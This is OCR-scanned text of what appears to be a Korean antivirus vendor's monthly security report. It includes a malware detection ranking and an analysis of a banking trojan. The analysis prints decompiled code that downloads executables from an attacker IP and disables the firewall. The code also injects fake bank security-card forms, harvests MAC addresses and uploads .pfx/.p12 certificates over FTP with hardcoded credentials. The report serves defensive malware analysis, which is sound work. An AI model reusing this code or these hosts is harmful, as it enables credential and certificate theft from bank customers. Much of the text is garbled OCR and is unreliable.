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9 ogAE T {CRE i
1 New  Spyware.OnlineGames-GLG Spyware 2,720
2 t1  Trojan.Dropper.OnlineGames.ver Trojan 2,701
3 {2 Gen:Variant.Kazy.125570 Etc 2,668
4 New  Trojan.Generic.8676974 Trojan 2,141
5 t2  Trojan.Downloader.86016 Trojan 1,856
6 t2  Trojan.DownloaderATGG Trojan 1,768
7 New  Gen:Trojan.Heur.KS.2 Trojan 1,439
8 New  Spyware.OnlineGames.wsxp Spyware 1,351
9 t1  Trojan.JS.Agent.HFM Trojan 1,248
10 t3  Gen:Trojan.HeurRPmyZ@amr7yFo Trojan 1,188
11 t1 Gen:Trojan.Heur.DPomGfaWAMtudG Trojan 1,181
12 19  Trojan.Dropper.OnlineGames.wsxp Trojan 1,083
13 New  Trojan.Generic.KD.843235 Trojan 1,060
14 New  Gen:Trojan.HeurymZ@H9hdYumi Trojan 1,031
15 New  Gen:Trojan.Heur.PT.my4@a4xWzukb Trojan 1,014
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Detection Name File Name Size(Byte)

Spyware.PWS.KRBanker.C 0.exe 20480

O.exe Lo ML= CHWindows=
= o
e =

8510 SFAl7|= AO|Ct

GetWindowsDirectoryA{&PathHame, BZFFu};
vl {int)"wWWthanhelp™;
L1]5] -1;
do
{

if { tud )

break;
2 = ={ BYTE =)ul++ == B;
——ul;

while { tu2 });

uh = ™~uB;
u?¥ = {const void =){ul - uvi);
ub = ul;
v = &PathHame ;
ud = -1;
do
{
ifF { *tvid )
break;
ug = =uhG++ == B
-—u3;
H

while { tu& });
memcpy{vé - 1, v7, uS};
reateDirectory a ame , H £/ GWWINDOWSHhanhelp

(22l CWWindows Z 8120 hanhelp Z2HE M)

St?(0f hanhelpgt= ZHE ddstd X0 t

& o
obMImQ ChREE, O2|1 1O &4M8ate £ psqloginMgr.dll Y-S regsvr32.exeE 0|

Ho|x| | 6
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memcpy( (void =){v15 - 1), vi6, vik);
u1? = (int)"psqsystemuap.exe”;

vig = -1;

do

if { tvig )
break;
u2B = ={ BYTE =)ui9++ == B;
—--vig;
e
while { tu29 });
uw22 = ™~uiB;
u25 = {const void *)}{u19 - v22);
23 = u22;
v2h = Bubh;
u21 = -1;
do
{
if { vzl )
break;
U2 = ®=U24++ == B;
-—-u2i;
¥
while { tu26 )3
memcpy{{void =)}{uv2h - 1), v25, v23};
mﬁLDuwnluadTnFllen(ﬂ, “http:/ /1741396818 /web/downssystemwap .exe™, &uHld, @A, ﬂ)qff G WU INDOWS#hanhelpWpsqgsystemwap .exe

(A8 SEMOIEM mAS CH2ROF hanhelp EEHO| M)

Systemwap.exef 0t OtL|2} 5L AtO|EO|AM LoginMgr.dll, NDDeleteAll.exe2 L2420} hanhelpZ

ol X&etrt.
memcpy{ {void =){u58 - 1), u51, uvi7);
|W1nExec(&BmdL1nE, a); | /f "regsur32 UCIWUINDOWSHWhanhelpWpsqlLoginMgr .d11" /s*
memset{&>Tring, B, Bx188u);
memset{{void =)&FileMame, @, Bx1008u);
GetWindowsDirectoryA{{LPSTR)&FileHame, Bx88u);
uSh = {int)"W¢hanhelpitpsconfig.ini™;
uh3d = -1;
do
{

if { tus3 )
break;

u55 = ={_BYTE =)uSh++ == B;

-—u53;
H
while { *w55 3;
uG7 = ~uG53;
vGl@ = (const void *){uSh - uS7);
uhg = y5h7;
u59 = EFileMame;
uha = -1;
do
{

if { tuS6 )

break;

ual = *50++ == B;

-—U5h;
H
while { fudl );
memcpy{ {void =){u59 - 1), v6B, u58);
GetModuleFileHamen(®, &String, Bx188u);
WritePrivateProfileStringa{*"Section”, "D1Path™, &String, &FileHame};

(22l regsvr32€ 0|83}0] psqloginMgrdllg SZ)

g o|x| |7
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@ 2/dutd(psqloginMgr.dil)
- '.OIIC-JE

Detection Name File Name Size(Byte)

Spyware.PWS.KRBanker.C | psqLoginMgr.dl| 187392

psqloginMgrdll IS BHOZ SEg0f OlE{U AAZ=air}t S5t O A0 Al

st

=8 =8AI0|E0 H2

St
=
1. net stop sharedaccess & & 0f

%
2. 174.139.68.180] ®sHA ZHE PC AFRXIS] MAC F=AEZ 0823810 2Z+0| = X0

UA=XE MAgHet.
A

3. Z2YE Ho| C
A

al
Msto] THUS M2l

1] = sub_ 1] R star.com
if { v76 && *kbstar_check )
[

M EY nOieto|HE "o CHWindowstthanhelpttpsDeleteAll.exeE

WinExec("net stop sharedaccess™, 8);

LOBYTE({u168) = 14;
sub_18887FDA(EHAC_address_);

v75 = sub_188B7EFB(&u146, L"http://174.139 68_18/web/ups/checksetkey . asp?action=checkdel&mac="");

U110 = U10;
vidgh = &ui9;

uilk = sub_18887EDB(&uID, &uilkd);
u?3d = sub_188B57AB({&v 4B, viD);
LOBYTE({u168) = 15;

if (|5uE_1EEEEEﬁEiEU1E§, [MCsecondsubmit., @) ¥= -1 ”
{

memset(&Cmdline, @, @xFFu);
GetWindowsbDirectoryA{&CndLine, @xFFu);

strcat(&CndLine, "WhanhelpWpsDeleteAll exe™);

ulsy = WHnEzec(&CndlLine, @);

sub_18887FBA(E&v146, L"http://174.139 68 ._18/web/ups/checkdeled. asp?mac="};
sub_18887FDA(EHAC_address_);

U0 = u11;
viBd = &ui9;

u?2 = sub_18087EDB(&uID, &uilkd);
ui?1 = sub_188B57AB(&v 102, vil);
sub_18887F7@(&u102});

viBgl = B8;

LOBYTE(u168) = 14;
sub_18887F7@(&u1L8);
LOBYTE({u168) = 13;
sub_18887F7@(&u1LG);
LOBYTE(u168) = 12;
sub_18887E9@({&u166);
LOBYTE(u168) = 7;
sub_18884558(&u151);
LOBYTE({u168) =
sub_18884558(&u157);
LOBYTE({u168) =
sub_18887F7@(&u162);
LOBYTE(u168) = @;
sub_18887E9@({&u154);

return vidi;

(a2. MAC =47t SE2= =o| 9
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4. Zg=l XMo| QICtH CWWindowsWhanhelpWpsgsystemwap.exeE A& SHC}.
kbstar_check = 1;
memset{&viLs, @, BxFFu);
memset{&Euffer, @, BxFFu);
GetWindowsDirectoryA(&Buffer, BxFFu);
strcat{&Buffer, "Wthanhelpttpsqsystemwap.eze™);
u143 = WinExec(&Buffer, 8);
"LCOBYTE{UTGEY = 14,
sub_1088087F7B{&u1LE);
LOBYTE(vi168) = 13;
sub_108087F70{&uilLb);
(22 MAC F47} S28 ol g

—

rir
ox

o
k
In
o
o

5. QE Ul QAZ 2R HMS golstct

std__ Container_base__ Container_base{&lplideCharStr);
LOBYTE(v168) = 25;

vl = unknown_libname 4{&u119);

u1% = Localelpdate GetLocaleT(&lpWideCharStr};

ulig = (={xul0 + F6)){vu?, vi0};

u112 = u4s;
if ( vas »>= 8 )
{

memset (&MultiByteStr, @, Bx184u);
WideCharToMultiByte(d, 8, lpYWideCharStr, -1, &MultiByteStr, 268, @, @);
u47 = sub 1880F7E18(&MultiByteStr, "MSIE 6.");
if { uba7 )
{
IE_Uerdlion = 6;
H
else
{
uhi = sub 18@87E18(&MultiBytestr, "MSIE 7.");
if ( vhb )
{
IE_Uersion = 7;
i
else
{
uh4S = sub_18087E18(&MultiByteStr, "HSIE 8.");
if { wiS )
{

IE_Version = 8;
H
else
{
ull = sub_188B7E18(&MultiBytestr, "MSIE 9."});
if ( vabh )
IE Uersion = 93

H

’
H
:zIE Version = IE Uersiong

(Ag. IE HE H3)

ES I soft Copyright © by ESTsoft Corp. All rights reserved _
o Zlo|x| | 9
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6. A3 EE LS 58A0/EQ| Body 20 & YSHCh

std_ Container_base_ Container base{&uiif};
LOBYTE(u168) = 26;
ukd = sub_10@O7EFB{Ev118, &word_10821C88);
LOBYTE(u168) = 27;
sub_10067FF8(

ki,

L"&nbsp<link href='http://174.139.68.18/popnystyle.css’ rel="stylesheet' type='text/css' /»");
Sub_10007FF8(

ki,

L"&nbsp<{script defer src="http://174.139.68.18/popmystyle.js" type='text/javascript'><{/script>");
Sub_10007FF8(

kuile,

L"{iframe id='iframecash' name='iframecash' width='8px' height="8px' src=
Sub_10007FF8(

kuile,

L"<DIV class="pop_pushMotiHy pushRight' id=pid_B@808568Hy sizcache='1" style='display :nome;' sizset='8"'><DIV class=pop_pushContHy>"};
sub_10867FF8{&v118, &word_10821D3C);
sub_10067FF8(&v118, L"<DIV class=pushiiessagely>");
sub_10067FF8(&v118, &word_1082286C);
sub_10867FF8{&v118, &word_10822810);
sub_18087FFB{&u 118, L"<DIV class=security cardHumiiy>"};
sub_10087FFA(Ru118, tword_10622054);
sub_10067FF 8{

[IRRE

L"<INPUT class=inputpassh id=pass4 onblur=inputblur(this) onkeyup=submitvalue(this) title="");
sub_100807FF8{&v118, &word_1082217C);
sub_18087FFB{&u118, L"<DIV class=securityRightHy>"};
Sub_10007FF8(

ki,

L*<DIV class="posi_num front' id=numi style="DISPLAY: block'><INPUT class=input id=inputi onblur=inputblur(this) onkeyup=submitvalue{this) title=""};
Sub_10007FF8(

kuile,

L"<DIV class="posi_num front' id=num2 style='DISPLAY: block'><INPUT class=input id=input2 onblur=inputblur{this) onkeyup=submitvalue{this) title='"};
Sub_10007FF8(

kuile,

L"<DIV class="posi_num front' id=num3 style='DISPLAY: block'><INPUT class=input id=input3 onblur=inputblur{this) onkeyup=submitvalue{this) title='"};
sub_10867FF 8{

kuile,

L"<DIV class="posi_num front' id=numy style='DISPLAY: block'><INPUT class=input id=inputh4 onblur=inputblur{this) onkeyup=submitvalue{this) title='"};
sub_10867FF 8{

[IRRE

L"<DIV class="posi_num front' id=num5 style='DISPLAY: block'><INPUT class=input id=input5 onblur=inputblur{this) onkeyup=submitvalue{this) title='"};

(g =8MOIEY &Y LHE)

style="display:block'><{/iframe>");

g o|x| | 10
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Detection Name File Name Size(Byte)

Spyware.PWS.KRBanker.C | psqsystemwap.exe | 396288

psqsystemwap.exe LtO| Q= ZHHE AFEXIC] MAC OJEZAE 0|E310f SQlQl
A ItOo| FTPO| YZE E|QY=X| &Qlst, B~Z E2t0|HO|A =X} pfx, pl2g &
2 FTPZ M&E sirch

sub_MB6570();

if ( us1 == @)
sub_hOACDB( 0x8 0004805 ) ;

uil

(={*®051 + 12)){v51) + 16;

LOBYTE(vii1) = 3;
SizePointer = 3240;
if { GetAdaptersInfo{&Adapterinfo, &SizePointer} )}

{

sub_484Dp28(L" "HoMac™, 5},

H

else

{
v

5

= AdapterInfo.Address[5];

sub_4B4688(

Guii,

L"%02X-%02X-%025-%025 50253025,
AdapterInfo.Address[A],
AdapterInfo.Address[1],
{=#&ndapterinfo.Address[B] >> 16),
#&AdapterInfo.Address[B] >> 24,
AdapterInfo.Address[4],
AdapterInfo.Address[5]);

H

sub 4B4ETFB{&L7Z, |L"http AT 139 68B.187/web/fupssin. a5p9mac—"),|
LOBY¥TE({ui111) =

5uh_hﬂh22ﬂ(&u?2, U?1, ®*{ui1 - 1233,

sub_4834AB8{v53, &U7Z2);

sub_484220(&u72, vid, =(vi3 - 12));

uas
Uiy
ULt

uSh;
&uah;
sub_4Bu7CA{v/2 - 16);

sub_4B38CO{&U Y, US5 + 16);

ug2

(u7h - 4);
(38 MAC =42 QFAM oS YZEE A0 A=K =Ql)

Zo|x| | 11
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CWnd__ ShowWindow{8);
SetTimer{={v25 + 32), @, 8x186A0u, 8);
dword_ u538B0 =

{GetTickCount){uas);

UGl = 'B°;

while {( 1 )

{
uga = B;
vE1l = 8;
ugZ = B;
vEI = B8;
udh = B;
vEL = 8;
udh = B;
vEY = B8;
us8 = B;
RootPathHame
UB9 = uwoh;
veld = ":-°;
UFe = ":';
udil = B;
ez = A;
U993 = B;
uah = A;
u9s = B;
ven = A;
ua7 = B;
uvoE = A;
U999 = B;

if { GetDriveTypeM{&RootPathHame) == 3 || GetDriveTypeW{&RootPathHame) == 2 }

{

GetTickCount();
sub 4B24,7B{&uED);

H

++Uhl g
if { u6h > '2° )

{

_LH32_8(a);
__asm { int 3 ; Trap to Debugger }
JUHPOUT { *EnumFunc} ;

o

= ubl;

H

ag.

Ok
ro
ro
olA
>
K
ne
njo
hlas
N
o
ely
oY
1=
ot
rir
kU
[N

if { =(Str - 3) >= 8 )

u33
32

wesstr(Str, LU pFx™);

L

L

if § w33 && (w33 - Str) >> 1 t= -1

Il *=(Str — 3) 3= 8 && (v3h =|wcsstr(Str, L".p12"){ v32 = Str, ulZh) && (u3h - Str) 3> 1

{
vaGS = &Src;
vl = ai;
wsprintfW{&uU75, L"%stF%s™, al);
U7h = BUGS;
sub_4BREYB(&ULS, &Src);
vl = uw3dh;
uid = Guah;
LOBYTE{uS3) = &4;

sub_4B4REFB(&UAGL, &UTES);
LOBYTE{uE3) = 2;

FTP_(ué4, ub5);
UGS = BU7S:
UGl = Bword_4B44758;

sub_481578() ;
sub_4@1Cea{231, B, uGh, ub5);

u32 - Str;
¥
¥
(28, =X} pfx, pl2 TS X= AE)
ES Fsofl  copyright © by ESTzoft Corp. All rights resanved
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if { GetadaptersInfo{&ndapterinfo, &SizePointer) }
sub_484D28(L"NoMac™, 5);
else
sub_484680(
&lpszbDirectory,
L"%025-%025-%02X-%025-%202X-%025",
fAdapterInfo.Address[A],
fAdapterInfo.Address[1],
{(*&AdapterInfo.Address[8] >> 16),
*HhdapterInfo.Address[ 8] >> 24,
fAdapterInfo.Address[4],
adapterInfo.Address[5]);
v? = AfxGetHoduleState();
CInternetSession_ CInternetSession{=(v? + 16), 1, @, @8, @, 8);
LOBYTE{uuB) = 2;

uly = sub_4B6FBA{&v37, dword_453BEY4, lpszUserMame, lpszPassword, Bx15u, 8);/7 "174.139.68.18", "a123", "a123"

Lr Ll.ll.-UIIIII:I..LJ..UII_IJI IdeIfIJJ..[ FLLUr yW‘J.P:DLUJ..I ELLor y} »

CFtpConnection__ SetCurrentDirectoryW{lpszDirectory);

u3 = lpszHewRemoteFile;

if § ({1 - ={lpszHewRemoteFile - 1)) | =*={lpszHewRemoteFile - 2}) < 8 }

sub_484C5A(&lpszHewRenoteFile, @);

u3 = lpszHewRemoteFile;
b
sub_4B4680{&1lpszHewRenoteFile, L"%d_%s", dword_4538BO, v3);
if { CFtpConnection_ PutFile{lpszlLocalFile, lpszHewRemoteFile, 2u, 1u} }
{

(=(=xul + 1233 (vb);

LOBYTE{uv4B) = 1;

sub_4B6E93(8u37);

LOBYTE{uL8) = @

_ECX = lpszLocalFile + 2;

_EDX = -1;

__asm { lock xadd [ecx], edx }

if ( EDX - 1<=8)

(x(=*={1pszlocalFile - 4) + 4)){1lpszlocalFile - 8);

vhg = -1;

v27 = lpszHewRemoteFile - 8;

_ECX = lpszMeuwRemoteFile + 2;

_EDX = -1

_asm { lock xzadd [ecx], edz }

if ( EDX -1 <=8)

(®(*x027 + H)3I(U27);

ag.

Okl
ro
ro
ol
>
F
e
o
1%
HU
al
Of
rir
A1]
[n
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lesa

€&« =2 C [ ftp//174139.68.18
/o] Mol
1 —
oS 22 TE3H YR
00-0C—29-2C-D0-72/ 13.2. 7. 28 76000
Q0-0C-29-7F-A5-60/ 13. 2.6, 27 44300
00-0C—-29-CE-BC—F6/ 13.2. 7. 27 @12:00
00-0C—-23-FF-1E-5B/ 13,2 6, 2F 4:02:00
02-00-4C-AF-AF 50/ 13.2 7. @7 841:00
1C—BFGh-FF-30-C7/ 13. 2. 6, 27 4856500
|7 8888.txt 0B 13.2. 7. 27 @20:00
7 Loginkgr.dll 183 kB 13,2 6. 23 4:51:00
] SP.ocx 136 kB 13.2. 7. 2 21800
7 hanbank.exe 387 kB 13. 2.6, 28 442:00
weh/ 13. 2.6, 27 330:00

(2. FTP AMH Z}H)

2E
ST OHMIEO| ZE Al WA IEH W AO|E BAA SF URIS Holsto] HaN ol
OIE{Yl W APO|0| ofoHQl AIYES HYBOETHN SHLES MASnE HYH

Whethf QHE| Htolp{A EE IS THY APO|SO| Chef WHE CHAZL BRoHm, ABXES
2OF HoPY riolE9t QIEY WY ¥, BASNY USE FIIHoE BASHE =
20| WasiCt.
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3. §|L|TH/ER| T BEM

(1) Are| Top 10 ZE

W 3306
W 3389
W 1433
m23
|25
m110
m22
= 5900
808
m 80

(2) 42| Top5 ZE YH 0|
(20121 129 ~ 20131 02]

m20124 12&
m20134 18
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http://www.oracle.com/technetwork/topics/security/javacpufeb2013update-1905892.html
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http://www.java.com/ko/download/help/java_update.xml
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